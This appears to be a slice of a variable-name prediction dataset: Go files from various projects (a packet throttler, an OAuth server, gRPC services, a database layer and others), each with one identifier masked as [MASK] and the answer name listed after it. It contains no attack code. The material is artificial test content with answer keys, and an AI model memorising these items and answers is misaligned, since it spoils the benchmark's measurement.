log.Println(""[TRACE] It looks like the packet rules are already setup"") return } if err := t.setup(cfg); err != nil { log.Println(""[TRACE] I couldn't setup the packet rules:"", err.Error()) return } log.Println(""[TRACE] Packet rules setup..."") log.Printf(""[TRACE] Run `%s` to double check\n"", t.check()) } func teardown(t throttler, cfg *Config) { if !t.exists() { log.Println(""[TRACE] It looks like the packet rules aren't setup"") return } if err := t.teardown(cfg); err != nil { log.Println(""[TRACE] Failed to stop packet controls"") return } log.Println(""[TRACE] Packet rules stopped..."") log.Printf(""[TRACE] Run `%s` to double check\n"", t.check()) log.Printf(""[TRACE] Run `%s` to start\n"", os.Args[0]) } // Run executes the packet filter operation, either setting it up or tearing // it down. func Run(cfg *Config) { dry = cfg.DryRun var t throttler var c commander if cfg.DryRun { c = &dryRunCommander{} } else { c = &shellCommander{} } switch runtime.GOOS { case freebsd: if cfg.Device == """" { log.Println(""[TRACE] Device not specified, unable to default to eth0 on FreeBSD."") return } t = &ipfwThrottler{c} case darwin: // Avoid OS version pinning and choose based on what's available if c.commandExists(pfctl) { t = &pfctlThrottler{c} } else if c.commandExists(ipfw) { t = &ipfwThrottler{c} } else { log.Println(""[TRACE] Could not determine an appropriate firewall tool for OSX (tried pfctl, ipfw), exiting"") return } if cfg.Device == """" { cfg.Device = ""eth0"" } case linux: if cfg.Device == """" { cfg.Device = ""eth0"" } t = &tcThrottler{c} default: log.Printf(""[TRACE] I don't support your OS: %s\n"", runtime.GOOS) return } if !cfg.Stop { setup(t, cfg) } else { teardown(t, cfg) } } func (c *dryRunCommander) execute(cmd string) error { log.Println(""[TRACE]"", cmd) return nil } func (c *dryRunCommander) executeGetLines(cmd string) ([]string, error) { log.Println(""[TRACE]"", cmd) return []string{}, nil } func (c *dryRunCommander) commandExists(cmd string) bool { return true } func (c *shellCommander) execute(cmd string) error { log.Println(""[TRACE]"", cmd) return exec.Command(""/bin/sh"", ""-c"", cmd).Run() } func (c *shellCommander) executeGetLines(cmd string) ([]string, error) { lines := []string{} [MASK] := exec.Command(""/bin/sh"", ""-c"", cmd) out, err := [MASK] .StdoutPipe() if err != nil { return []string{}, err } err = [MASK] .Start() if err != nil { return []string{}, err } scanner := bufio.NewScanner(out) for scanner.Scan() { lines = append(lines, scanner.Text()) } if err := scanner.Err(); err != nil { return []string{}, errors.New(fmt.Sprint(""Error reading standard input:"", err)) } err = [MASK] .Wait() if err != nil { return []string{}, err } return lines, nil } func (c *shellCommander) commandExists(cmd string) bool { _, err := exec.LookPath(cmd) return err == nil } ",child 641,"/* * Copyright 2018-2019 The NATS Authors * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package cliprompts import ( ""github.com/AlecAivazis/survey"" ) type SurveyUI struct{} func (sui *SurveyUI) Prompt(label string, value string, edit bool, validator Validator) (string, error) { v := value p := &survey.Input{ Message: label, Default: value, } if err := survey.AskOne(p, &v, sui.wrap(validator)); err != nil { return """", err } return v, nil } func (sui *SurveyUI) PromptWithHelp(label string, value string, edit bool, validator Validator, [MASK] string) (string, error) { v := value p := &survey.Input{ Message: label, Default: value, Help: [MASK] , } if err := survey.AskOne(p, &v, sui.wrap(validator)); err != nil { return """", err } return v, nil } func (sui *SurveyUI) wrap(validator Validator) survey.Validator { if validator == nil { return nil } return func(input interface{}) error { s := input.(string) return validator(s) } } func (sui *SurveyUI) PromptYN(m string, defaultValue bool) (bool, error) { v := defaultValue p := &survey.Confirm{ Message: m, Default: defaultValue, } if err := survey.AskOne(p, &v, nil); err != nil { return false, err } return v, nil } func (sui *SurveyUI) PromptSecret(m string) (string, error) { v := """" p := &survey.Password{ Message: m, } if err := survey.AskOne(p, &v, nil); err != nil { return """", err } return v, nil } func (sui *SurveyUI) PromptChoices(m string, value string, choices []string) (int, error) { v := """" p := &survey.Select{ Message: m, Options: choices, } if value != """" { p.Default = value } if err := survey.AskOne(p, &v, nil); err != nil { return -1, err } idx := -1 for i, t := range choices { if t == v { idx = i break } } return idx, nil } func (sui *SurveyUI) PromptMultipleChoices(m string, choices []string) ([]int, error) { v := make([]string, 0) p := &survey.MultiSelect{ Message: m, Options: choices, } if err := survey.AskOne(p, &v, nil); err != nil { return nil, err } idx := make([]int, 0) for _, t := range v { for i, c := range choices { if c == t { idx = append(idx, i) } } } return idx, nil } ",help 642,"package main import ( ""fmt"" ""net/http"" ""strings"" ""github.com/gin-gonic/gin"" ""github.com/truauth/truauth/cmd/tru-authentication/helpers"" lib ""github.com/truauth/truauth/pkg/auth-lib"" grpcAuthorization ""github.com/truauth/truauth/pkg/grpc-authorization"" grpcIdentity ""github.com/truauth/truauth/pkg/grpc-identity"" ""github.com/truauth/truauth/pkg/utilities"" webserve ""github.com/truauth/truauth/pkg/web-serve"" ) // AuthPage serves the auth page func (req *Defaults) AuthPage(ctx *gin.Context) { authRequest, authError := lib.InitAuthCode(ctx.Request) if authError != nil { ctx.JSON(http.StatusUnauthorized, authError) return } validateErr := authRequest.Validate() if validateErr != nil { ctx.JSON(http.StatusUnauthorized, validateErr) return } // SSO check if utilities.ArrContainsString(authRequest.Scope, ""sso"") { if exit := req.HandleSSO(ctx, authRequest); exit { return } } pageTemplate := req.SitePages.RetrieveFile(""login"").Template pageTemplate.Execute(ctx.Writer, nil) } // CreateAuthCode creates an auth code func (req *Defaults) CreateAuthCode(ctx *gin.Context) { authRequest, err := lib.InitAuthCode(ctx.Request) if err != nil { ctx.JSON(http.StatusBadRequest, err) return } validateErr := authRequest.Validate() if validateErr != nil { ctx.JSON(http.StatusBadRequest, validateErr) return } credentials := helpers.MarshalCredentialsFromForm(ctx.Request) // check & resolve the identity if resp, err := req.IdentityClient.Client.ValidateUserIdentity(ctx, credentials); err != nil || !resp.GetSuccess() { pageTemplate := req.SitePages.RetrieveFile(""login"").Template descript := ""Error: Invalid Credentials"" if err != nil { descript = ""An Internal Error has Occurred While Logging In"" } pageTemplate.Execute(ctx.Writer, webserve.OutTemplate{ Error: true, ErrorDescription: descript, Script: webserve.DevError(err.Error()), }) return } token := lib.CreateCodeToken(authRequest, credentials.GetUsername()).ToJWT(req.Environment.JWTSecret) grpcAuthRequest := &grpcAuthorization.AuthorizeUserRequest{ UserID: credentials.Username, ClientID: authRequest.ClientID, } // check if user has accepted agreement on conditions page // returns condition page if not. if resp, err := req.AuthorizationClient.Client.IsUserAuthorized(ctx, grpcAuthRequest); err != nil || !resp.GetSuccess() { temp := req.SitePages.RetrieveFile(""conditions"") if temp == nil { ctx.JSON(http.StatusInternalServerError, lib.CreateError(""internal server error"", ""conditions page not found"")) return } temp.Template.Execute(ctx.Writer, webserve.OutTemplate{ Script: webserve.WriteSessionStorage(""_truauth.clientIntro"", token), }) return } redirect := fmt.Sprintf(""%s?code=%s&state=%s"", authRequest.RedirectURI, token, authRequest.State) http.Redirect(ctx.Writer, ctx.Request, redirect, http.StatusFound) } // CreateAuthToken creates an auth token func (req *Defaults) CreateAuthToken(ctx *gin.Context) { token, err := lib.InitAuthTokenRequest(ctx.Request) // todo: clean this up. // do a better check to see if implict flow should be enabled, // e.g fall back on init auth code check if initauthtoken fails. if err != nil { request, err := lib.InitAuthCode(ctx.Request) if err != nil { ctx.JSON(http.StatusBadRequest, err) return } credentials := helpers.MarshalCredentialsFromForm(ctx.Request) // check & resolve the identity if resp, err := req.IdentityClient.Client.ValidateUserIdentity(ctx, credentials); err != nil || !resp.GetSuccess() { pageTemplate := req.SitePages.RetrieveFile(""login"").Template descript := ""Error: Invalid Credentials"" if err != nil { descript = ""An Internal Error has Occurred While Logging In"" } pageTemplate.Execute(ctx.Writer, webserve.OutTemplate{ Error: true, ErrorDescription: descript, Script: webserve.DevError(err.Error()), }) return } // ~ access token creation duration := req.Configuration.ExpireDuration accessToken := lib.CreateAccessToken(request.ClientID, credentials.Username, duration, strings.Join(request.Scope, "" "")) signedToken := accessToken.ToJWT(req.Environment.JWTSecret) // refresh token creation refreshToken := lib.CreateRefreshToken(request.ClientID, credentials.Username, strings.Join(request.Scope, "" "")) signedRefreshToken := refreshToken.ToJWT(token.ClientSecret) resolvedAccessToken := lib.CreateAccessTokenResponse(signedToken, lib.BearerToken, duration, signedRefreshToken) tokenSet := fmt.Sprintf(""token_id=%s"", resolvedAccessToken.ID) if strings.Contains(request.ResponseType, ""token"") { tokenSet = fmt.Sprintf(""%s&token=%s"", resolvedAccessToken.AccessToken) } redirect := fmt.Sprintf(""%s?%s%s&state=%s"", request.RedirectURI, tokenSet, request.State) req.CreateSSOToken(ctx, resolvedAccessToken.AccessToken, credentials.Username) http.Redirect(ctx.Writer, ctx.Request, redirect, http.StatusFound) return } if exit := helpers.CheckResponseError(ctx, err, token.RedirectURI, """"); exit { return } grantResponse, grantErr := req.HandleGrantType(token) if exit := helpers.CheckResponseError(ctx, grantErr, token.RedirectURI, """"); exit { return } ctx.JSON(http.StatusOK, grantResponse) } // AuthTokenIntrospection builds and returns a safe introspection view func (req *Defaults) AuthTokenIntrospection(ctx *gin.Context) { [MASK] , err := lib.InitAccessTokenIntrospectionRequest(ctx.Request) if exit := helpers.CheckResponseError(ctx, err, """", """"); exit { return } grpcClient := &grpcIdentity.ClientIdentityRequest{ ID: [MASK] .ClientID, } client, rpcErr := req.IdentityClient.Client.EnquireClientIdentity(ctx, grpcClient) if exit := helpers.CheckResponseError(ctx, &lib.AuthErrorResponse{ Error: lib.InvalidClient, ErrorDescription: rpcErr.Error(), }, """", """"); exit { return } // ensure secretes match validateErr := lib.CreateCustomError(client.Secret != [MASK] .ClientSecret, lib.InvalidRequest, ""invalid client secret"") if exit := helpers.CheckResponseError(ctx, validateErr, """", """"); exit { return } authToken := lib.DecodeSignedAccessJWT( [MASK] .ClientSecret, [MASK] .Token) jtwValidateErr := lib.CreateCustomError(authToken == nil, lib.InvalidClient, ""client authentication was invalid"") if exit := helpers.CheckResponseError(ctx, jtwValidateErr, """", """"); exit { return } ctx.JSON(http.StatusOK, authToken.MapIntrospectionResponse()) } // HandleAcceptConditions handles the user accepting the conditions func (req *Defaults) HandleAcceptConditions(ctx *gin.Context) { token, exists := ctx.GetQuery(""t"") authRequest, err := lib.InitAuthCode(ctx.Request) if err != nil { ctx.JSON(http.StatusBadRequest, err) return } if !exists { ctx.JSON(http.StatusBadRequest, lib.CreateError(""bad request"", ""token query is not present in request"")) return } decodedCodeToken := lib.DecodeCodeJWT(req.Environment.JWTSecret, token) if decodedCodeToken.ClientID == """" || decodedCodeToken.UserID == """" { ctx.JSON(http.StatusBadRequest, lib.CreateError(""bad request"", ""invalid jtw body"")) return } updatedToken := decodedCodeToken.ToJWT(req.Environment.JWTSecret) // don't really like this. grpcAuthRequest := &grpcAuthorization.AuthorizeUserRequest{ UserID: decodedCodeToken.UserID, ClientID: authRequest.ClientID, } if resp, err := req.AuthorizationClient.Client.AuthorizeUser(ctx, grpcAuthRequest); err != nil || !resp.GetSuccess() { ctx.JSON(http.StatusInternalServerError, err) return } redirect := fmt.Sprintf(""%s?code=%s&state=%s"", authRequest.RedirectURI, updatedToken, authRequest.State) http.Redirect(ctx.Writer, ctx.Request, redirect, http.StatusFound) } ",introspectReq 643,"package main import ( ""fmt"" ""os"" ""github.com/cloudflare/cfssl/log"" ""github.com/hyperledger/fabric-sdk-go/pkg/client/channel"" ""github.com/hyperledger/fabric-sdk-go/pkg/core/config"" ""github.com/hyperledger/fabric-sdk-go/pkg/fabsdk"" ) // HyperledgerAdapter struct definition type HyperledgerAdapter struct { sdk *fabsdk.FabricSDK client *channel.Client } type HyperledgerConfig struct { ChannelID string User string ChaincodeID string PeerAddress string LocalMSPID string OrdererAddress string OrdererMSPID string } // NewHyperledgerAdapter initializes the adapter with the Fabric SDK // NewHyperledgerAdapter initializes the Hyperledger SDK using the YAML configuration func NewHyperledgerAdapter() (*HyperledgerAdapter, error) { log.Debug(""Creating a New Client to the Hyperledger Fabric"") // Path to the configuration file configPath := ""/etc/hyperledger/fabric/config.yaml"" // Ensure this path matches your Docker setup // Initialize the Fabric SDK with the provided YAML configuration sdk, err := fabsdk.New(config.FromFile(configPath)) if err != nil { return nil, fmt.Errorf(""failed to create new Fabric SDK: %v"", err) } log.Debug(""I got the client connected: "", sdk) // Define the channel context using the user specified in the YAML configuration [MASK] := sdk.ChannelContext(""mychannel"", fabsdk.WithUser(""Admin"")) client, err := channel.New( [MASK] ) if err != nil { return nil, fmt.Errorf(""failed to create new Fabric channel client: %v"", err) } return &HyperledgerAdapter{ sdk: sdk, client: client, }, nil } // AnchorDID anchors a DID to the Hyperledger Fabric blockchain func (h *HyperledgerAdapter) AnchorDID(did string) (string, error) { if h.client == nil { return """", fmt.Errorf(""hyperledger client is not initialized"") } // Prepare the arguments to call the chaincode function for anchoring the DID args := [][]byte{ []byte(""AnchorDID""), // Function name in the chaincode []byte(did), // DID to be anchored } // Invoke the chaincode on Hyperledger Fabric response, err := h.client.Execute(channel.Request{ ChaincodeID: os.Getenv(""FABRIC_CHAINCODE_ID""), // Ensure this variable is set in your environment Fcn: ""AnchorDID"", Args: args, }) if err != nil { return """", fmt.Errorf(""failed to anchor DID: %v"", err) } // Return the transaction ID as the result return string(response.TransactionID), nil } // AnchorCredential anchors a Verifiable Credential to the blockchain func (h *HyperledgerAdapter) AnchorCredential(credential string) (string, error) { if h.client == nil { return """", fmt.Errorf(""Hyperledger client is not initialized"") } // Prepare the arguments to call the chaincode function for anchoring the credential args := [][]byte{ []byte(""AnchorCredential""), // Function name in the chaincode []byte(credential), // Credential data to be anchored } // Invoke the chaincode on Hyperledger Fabric response, err := h.client.Execute(channel.Request{ ChaincodeID: os.Getenv(""FABRIC_CHAINCODE_ID""), // Ensure this variable is set in your environment Fcn: ""AnchorCredential"", Args: args, }) if err != nil { return """", fmt.Errorf(""failed to anchor credential: %v"", err) } // Return the transaction ID as the result return string(response.TransactionID), nil } // Close shuts down the HyperledgerAdapter and releases resources func (h *HyperledgerAdapter) Close() error { if h.sdk != nil { h.sdk.Close() } return nil } ",clientContext 644,"package main import ( ""context"" ""database/sql"" ""errors"" ""fmt"" ""os"" hpb ""github.com/BetterGR/homework-microservice/protos"" ""github.com/uptrace/bun"" ""github.com/uptrace/bun/dialect/pgdialect"" ""github.com/uptrace/bun/driver/pgdriver"" ""k8s.io/klog/v2"" ) // Database represents the database connection. type Database struct { db *bun.DB } // InitializeDatabase ensures that the database exists and initializes the schema. func InitializeDatabase() (*Database, error) { createDatabaseIfNotExists() database, err := ConnectDB() if err != nil { return nil, err } if err := database.createSchemaIfNotExists(context.Background()); err != nil { klog.Fatalf(""Failed to create schema: %v"", err) } return database, nil } // createDatabaseIfNotExists ensures the database exists. func createDatabaseIfNotExists() { dsn := os.Getenv(""DSN"") connector := pgdriver.NewConnector(pgdriver.WithDSN(dsn)) sqldb := sql.OpenDB(connector) defer sqldb.Close() ctx := context.Background() [MASK] := os.Getenv(""DP_NAME"") query := ""SELECT 1 FROM pg_database WHERE datname = $1;"" var exists int err := sqldb.QueryRowContext(ctx, query, [MASK] ).Scan(&exists) if err != nil && !errors.Is(err, sql.ErrNoRows) { klog.Fatalf(""Failed to check db existence: %v"", err) } if errors.Is(err, sql.ErrNoRows) { if _, err = sqldb.ExecContext(ctx, fmt.Sprintf(""CREATE DATABASE %s;"", [MASK] )); err != nil { klog.Fatalf(""Failed to create database: %v"", err) } klog.Infof(""Database %s created successfully."", [MASK] ) } else { klog.Infof(""Database %s already exists."", [MASK] ) } } // ConnectDB connects to the database. func ConnectDB() (*Database, error) { dsn := os.Getenv(""DSN"") connector := pgdriver.NewConnector(pgdriver.WithDSN(dsn)) sqldb := sql.OpenDB(connector) database := bun.NewDB(sqldb, pgdialect.New()) // Test the connection. if err := database.Ping(); err != nil { return nil, fmt.Errorf(""failed to connect to the database: %w"", err) } klog.Info(""Connected to PostgreSQL database."") return &Database{db: database}, nil } // createSchemaIfNotExists creates the database schema if it doesn't exist. func (d *Database) createSchemaIfNotExists(ctx context.Context) error { models := []interface{}{ (*Homework)(nil), } for _, model := range models { if _, err := d.db.NewCreateTable().IfNotExists().Model(model).Exec(ctx); err != nil { return fmt.Errorf(""failed to create table: %w"", err) } } klog.Info(""Database schema initialized."") return nil } type Homework struct { UniqueID string `bun:"",pk,default:gen_random_uuid()""` ID string `bun:""id,unique,notnull""` CourseID string `bun:""course_id,notnull""` Title string `bun:""title,notnull""` Description string `bun:""description,notnull""` Files []*hpb.File `bun:""files,array""` Workflow string `bun:""workflow,notnull""` DueDate string `bun:""due_date,notnull""` Submissions []*hpb.Submission `bun:""submissions,array""` } // AddHomework adds a homework to the database. func (d *Database) AddHomework(ctx context.Context, homework *hpb.Homework) error { if _, err := d.db.NewInsert().Model(&Homework{ ID: homework.GetId(), CourseID: homework.GetCourseId(), Title: homework.GetTitle(), Description: homework.GetDescription(), Files: homework.GetFiles(), Workflow: homework.GetWorkflow(), DueDate: homework.GetDueDate(), Submissions: homework.GetSubmissions(), }).Exec(ctx); err != nil { return fmt.Errorf(""failed to insert homework: %w"", err) } klog.Info(""Homework added successfully."") return nil } // GetHomework retrieves a homework by ID from the database. func (d *Database) GetHomework(ctx context.Context, id string) (*hpb.Homework, error) { homework := new(Homework) if err := d.db.NewSelect().Model(homework).Where(""id = ?"", id).Scan(ctx); err != nil { return nil, fmt.Errorf(""failed to get homework: %w"", err) } return &hpb.Homework{ Id: homework.ID, CourseId: homework.CourseID, Title: homework.Title, Description: homework.Description, Files: homework.Files, Workflow: homework.Workflow, DueDate: homework.DueDate, Submissions: homework.Submissions, }, nil } // UpdateHomework updates an existing homework in the database. func (d *Database) UpdateHomework(ctx context.Context, homework *hpb.Homework) error { _, err := d.db.NewUpdate().Model(&Homework{ ID: homework.GetId(), CourseID: homework.GetCourseId(), Title: homework.GetTitle(), Description: homework.GetDescription(), Files: homework.GetFiles(), Workflow: homework.GetWorkflow(), DueDate: homework.GetDueDate(), Submissions: homework.GetSubmissions(), }).Where(""id = ?"", homework.GetId()).Exec(ctx) if err != nil { return fmt.Errorf(""failed to update homework: %w"", err) } klog.Info(""Homework updated successfully."") return nil } // DeleteHomework removes a homework from the database. func (d *Database) DeleteHomework(ctx context.Context, id string) error { _, err := d.db.NewDelete().Model((*Homework)(nil)).Where(""id = ?"", id).Exec(ctx) if err != nil { return fmt.Errorf(""failed to delete homework: %w"", err) } klog.Info(""Homework deleted successfully."") return nil } ",dbName 645,"package cmd import ( ""bytes"" ""encoding/json"" ""godot-package-manager/gpm/file"" ""godot-package-manager/gpm/logger"" ""os"" ""github.com/spf13/cobra"" ) const ADD_CMD_NAME_FLAG = ""name"" const ADD_CMD_REPOSITORY_FLAG = ""repository"" const ADD_CMD_VERSION_FLAG = ""version"" var addCmd = &cobra.Command{ Use: ""add"", Short: ""Adds a dependency to the project"", Long: `Adds the dependency to the project. If the project file does not exist it will do nothing.`, Run: func(cmd *cobra.Command, args []string) { logger.SetLogLevel(level) logger.Trace(""Log level set to: "" + logger.GetLogLevel()) executeAddCommand(cmd, args) }, } func executeAddCommand(cmd *cobra.Command, args []string) { var packagePath string = ""."" + string(os.PathSeparator) + GODOT_PACKAGE var gp, err = file.GetGodotPackage(packagePath) if err != nil { logger.Info(""Cannot add."") return } var name string = GetFlagAsString(cmd, ADD_CMD_NAME_FLAG) var repository string = GetFlagAsString(cmd, ADD_CMD_REPOSITORY_FLAG) var version string = GetFlagAsString(cmd, ADD_CMD_VERSION_FLAG) if len(name) == 0 || len(repository) == 0 || len(version) == 0 { logger.Trace(""Cannot locate flags, trying to load info from arguments."") if len(args) < 3 { logger.Trace(""Cannot load properties from arguments."") return } name = args[0] repository = args[1] version = args[2] } logger.Trace(""Adding dependency - Name: "" + name + "" - Repository: "" + repository + "" - Version: "" + version) var addon file.GPPlugin = file.GPPlugin{} addon.Name = name addon.Repository = repository addon.Version = version gp.Plugins = append(gp.Plugins, addon) [MASK] := new(bytes.Buffer) json.NewEncoder( [MASK] ).Encode(gp) file.WriteToFile(packagePath, [MASK] .Bytes()) InstallDependency(addon) logger.Info(""Dependency added."") } func init() { addCmd.SetUsageTemplate(`Usage: gpm add name repository version gpm add --name=Project --repository=github --version=v1.0.0`) addCmd.Flags().String(ADD_CMD_NAME_FLAG, """", ""Dependency name"") addCmd.Flags().String(ADD_CMD_REPOSITORY_FLAG, """", ""Dependency repository"") addCmd.Flags().String(ADD_CMD_VERSION_FLAG, """", ""Dependency version"") rootCmd.AddCommand(addCmd) } ",gpBytes 646,"package main import ( ""context"" ""fmt"" ""log"" ""net"" pb ""github.com/WYC51/gRPC_Server_Client/proto"" ""google.golang.org/grpc"" ) type MessageService struct { pb.UnimplementedGreeterServer // starting from v1.20.0 needing to add this line } func (m *MessageService) SayHello(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) { log.Printf(""Received: %v"", in.GetName()) return &pb.HelloReply{Message: ""Server say hello to "" + in.GetName()}, nil } const ( port = "":5050"" ) func main() { fmt.Printf(""starting gRPC server on port %s\n"", port) lis, err := net.Listen(""tcp"", port) if err != nil { log.Fatalf(""failed to listen: %v"", err) } [MASK] := grpc.NewServer() pb.RegisterGreeterServer( [MASK] , &MessageService{}) if err := [MASK] .Serve(lis); err != nil { log.Fatalf(""failed to serve: %v \n"", err) } } ",grpcServer 647,"package config import ( ""flag"" ""fmt"" ""github.com/fsnotify/fsnotify"" ""github.com/spf13/viper"" ""sync"" ) var ( conf = new(Config) once sync.Once ) type Etcd struct { Endpoints []string `mapstructure:""endpoints""` DialTimeout int `mapstructure:""dialTimeout""` } type Config struct { *Etcd `mapstructure:""etcd""` } func mustInitConfig() { [MASK] := flag.String(""config"", ""../conf/config.yaml"", ""配置文件路径"") viper.SetConfigFile(* [MASK] ) viper.SetDefault(""etcd.dialTimeout"", 5) viper.SetDefault(""etcd.endpoints"", []string{""localhost:2379""}) viper.WatchConfig() viper.OnConfigChange(func(e fsnotify.Event) { fmt.Println(""Config file changed:"", e.Name) }) if err := viper.ReadInConfig(); err != nil { panic(fmt.Errorf(""ReadInConfig failed, err: %v"", err)) } // 将配置文件解析到结构体中 if err := viper.Unmarshal(&conf); err != nil { panic(fmt.Errorf(""unmarshal to conf failed, err:%v"", err)) } } // Get 用于获取配置文件 func Get() *Config { once.Do(mustInitConfig) return conf } ",configFilePath 648,"package main import ( ""flag"" ""fmt"" ""net/http"" ""os"" ""os/signal"" ""sync"" ""syscall"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" ""net"" ""github.com/BurntSushi/toml"" log ""github.com/Sirupsen/logrus"" pb ""github.com/pandemicsyn/syndicate/api/proto"" ""github.com/pandemicsyn/syndicate/syndicate"" ""github.com/pandemicsyn/syndicate/utils/sysmetrics"" ""github.com/prometheus/client_golang/prometheus"" ) var ( printVersionInfo = flag.Bool(""version"", false, ""print version/build info"") enabledCollectors = flag.String(""collectors"", sysmetrics.FilterAvailableCollectors(sysmetrics.DefaultCollectors), ""Comma-separated list of collectors to use."") ) var syndVersion string var ringVersion string var goVersion string var buildDate string /* func newRingDistServer() *ringslave { s := new(ringslave) return s } */ type RingSyndicate struct { sync.RWMutex active bool name string config syndicate.Config server *syndicate.Server gs *grpc.Server } type RingSyndicates struct { sync.RWMutex Syndics []*RingSyndicate ch chan bool //os signal chan, ShutdownComplete chan bool waitGroup *sync.WaitGroup stopped bool } type ClusterConfigs struct { ValueSyndicate *syndicate.Config GroupSyndicate *syndicate.Config } func (rs *RingSyndicates) Stop() { log.Println(""Exiting..."") close(rs.ch) for i, _ := range rs.Syndics { rs.Syndics[i].gs.Stop() } rs.waitGroup.Wait() close(rs.ShutdownComplete) } func (rs *RingSyndicates) launchSyndicates(k int) { rs.Syndics[k].Lock() defer rs.waitGroup.Done() rs.waitGroup.Add(1) l, err := net.Listen(""tcp"", fmt.Sprintf("":%d"", rs.Syndics[k].config.Port)) if err != nil { log.Fatalln(err) return } var opts []grpc.ServerOption [MASK] , err := credentials.NewServerTLSFromFile(rs.Syndics[k].config.CertFile, rs.Syndics[k].config.KeyFile) if err != nil { log.Fatalln(""Error load cert or key:"", err) } opts = []grpc.ServerOption{grpc.Creds( [MASK] )} rs.Syndics[k].gs = grpc.NewServer(opts...) if rs.Syndics[k].config.Master { pb.RegisterSyndicateServer(rs.Syndics[k].gs, rs.Syndics[k].server) log.Println(""Master starting up on"", rs.Syndics[k].config.Port) rs.Syndics[k].gs.Serve(l) } else { //pb.RegisterRingDistServer(s, newRingDistServer()) //log.Printf(""Starting ring slave up on %d...\n"", cfg.Port) //s.Serve(l) log.Fatalln(""Syndicate slaves not implemented yet"") } rs.Syndics[k].Unlock() } func main() { var err error configFile := ""/etc/syndicate/syndicate.toml"" if os.Getenv(""SYNDICATE_CONFIG"") != """" { configFile = os.Getenv(""SYNDICATE_CONFIG"") } flag.Parse() if *printVersionInfo { fmt.Println(""syndicate-client:"", syndVersion) fmt.Println(""ring version:"", ringVersion) fmt.Println(""build date:"", buildDate) fmt.Println(""go version:"", goVersion) return } rs := &RingSyndicates{ ch: make(chan bool), ShutdownComplete: make(chan bool), waitGroup: &sync.WaitGroup{}, stopped: false, } var tc map[string]syndicate.Config if _, err := toml.DecodeFile(configFile, &tc); err != nil { log.Fatalln(err) } for k, v := range tc { log.Println(""Found config for"", k) log.Println(""Config:"", v) syndic := &RingSyndicate{ active: false, name: k, config: v, } syndic.server, err = syndicate.NewServer(&syndic.config, k) if err != nil { log.Fatalln(err) } rs.Syndics = append(rs.Syndics, syndic) } rs.Lock() defer rs.Unlock() for k, _ := range rs.Syndics { go rs.launchSyndicates(k) } //now that syndics are up and running launch global metrics endpoint //setup node_collector for system level metrics first collectors, err := sysmetrics.LoadCollectors(*enabledCollectors) if err != nil { log.Fatalf(""Couldn't load collectors: %s"", err) } nodeCollector := sysmetrics.New(collectors) prometheus.MustRegister(nodeCollector) http.Handle(""/metrics"", prometheus.Handler()) go http.ListenAndServe("":9100"", nil) ch := make(chan os.Signal) signal.Notify(ch, syscall.SIGINT, syscall.SIGTERM) for { select { case <-ch: rs.Stop() <-rs.ShutdownComplete return case <-rs.ShutdownComplete: return } } } ",creds 649,"package receiver import ( ""time"" ""github.com/rwv/rfask-golang/wave"" ""github.com/stianeikeland/go-rpio/v4"" ) func (receiver *Receiver) Receive() *wave.BitWave { wave := wave.New(make([]int64, 0), 1) ts := wave.TimeStamp b := receiver.pin.Read() now := time.Now().UnixNano() if ch := waitForEdge(receiver.pin, rpio.AnyEdge, receiver.MaxGap); !ch { return nil } b0 := b t0 := now ts = append(ts, t0) if ch := waitForEdge(receiver.pin, rpio.AnyEdge, receiver.MaxGap); !ch { return nil } b = receiver.pin.Read() now = time.Now().UnixNano() if b == b0 { return nil } wave.StartBit = uint8(b0) receiver.Bit = uint8(b) receiver.SampleTime = now receiver.EdgeTime = now ts = append(ts, now) // while true for { b, now := receiver.GetSample() if b == receiver.Bit { if now-receiver.EdgeTime > receiver.MinGap { if b == 0 { ts = append(ts, now) } if len(ts) > 5 { return wave } else { return nil } } } else { if (now - receiver.EdgeTime) < receiver.SamplePeriod { return nil } receiver.Bit = b receiver.EdgeTime = now ts = append(ts, now) if len(ts) > int(receiver.MaxLen) { return nil } } } } func waitForEdge(pin *rpio.Pin, edge rpio.Edge, timeout int64) bool { pin.Detect(edge) [MASK] := time.Now().UnixNano() for { detected := pin.EdgeDetected() if detected { return true } if time.Now().UnixNano()- [MASK] > timeout { return false } } } ",timeoutNow 650,"package main //go:generate protoc --proto_path=models --twirp_out=twitterarchive --go_out=twitterarchive models/twitterarchive.proto import ( ""fmt"" ""net/http"" ""os"" ""github.com/paulmaddox/rpc-demo/archiver/twitterarchive"" ) var ( // Region is the AWS region to archive tweets in Region = os.Getenv(""AWS_REGION"") // KinesisStreamName is the ARN of the Amazon Kinesis Stream to archive tweets to KinesisStreamName = os.Getenv(""KINESIS_STREAM_NAME"") ) func main() { // Start a local RPC server to listen for incoming tweets to archive fmt.Printf(""Mounting http://localhost:8080%s\n"", twitterarchive.TwitterArchivePathPrefix) mux := http.NewServeMux() archiver := twitterarchive.New(Region, KinesisStreamName) [MASK] := twitterarchive.NewTwitterArchiveServer(archiver, nil) mux.Handle(twitterarchive.TwitterArchivePathPrefix, [MASK] ) http.ListenAndServe("":8080"", mux) } ",archiveHandler 651,"package main import ( ""flag"" ""fmt"" ""log"" ""os"" ""os/signal"" ""syscall"" ""github.com/thebeerbarian/ircservicesgateway/pkg/ircservicesgateway"" ) //VERSION ... const VERSION = ""0.1.0"" func init() { ircservicesgateway.Version = VERSION } func main() { printVersion := flag.Bool(""version"", false, ""Print the version"") configFile := flag.String(""config"", ""config.conf"", ""Config file location"") if *printVersion { fmt.Println(ircservicesgateway.Version) os.Exit(0) } runGateway(*configFile) } func runGateway(configFile string) { // Print any ircservicesgateway logout to STDOUT go printLogOutput() ircservicesgateway.SetConfigFile(configFile) log.Printf(""Using config %s"", ircservicesgateway.CurrentConfigFile()) err := ircservicesgateway.LoadConfig() if err != nil { log.Printf(""Config file error: %s"", err.Error()) os.Exit(1) } watchForSignals() ircservicesgateway.Prepare() ircservicesgateway.Listen() [MASK] := make(chan bool) <- [MASK] } func watchForSignals() { c := make(chan os.Signal, 1) signal.Notify(c, syscall.SIGHUP) go func() { for { <-c fmt.Println(""Recieved SIGHUP, reloading config file"") ircservicesgateway.LoadConfig() } }() } func printLogOutput() { for { line, _ := <-ircservicesgateway.LogOutput log.Println(line) } } ",justWait 652,"// Copyright 2021 The Authors // // Licensed under the Apache License, Version 2.0 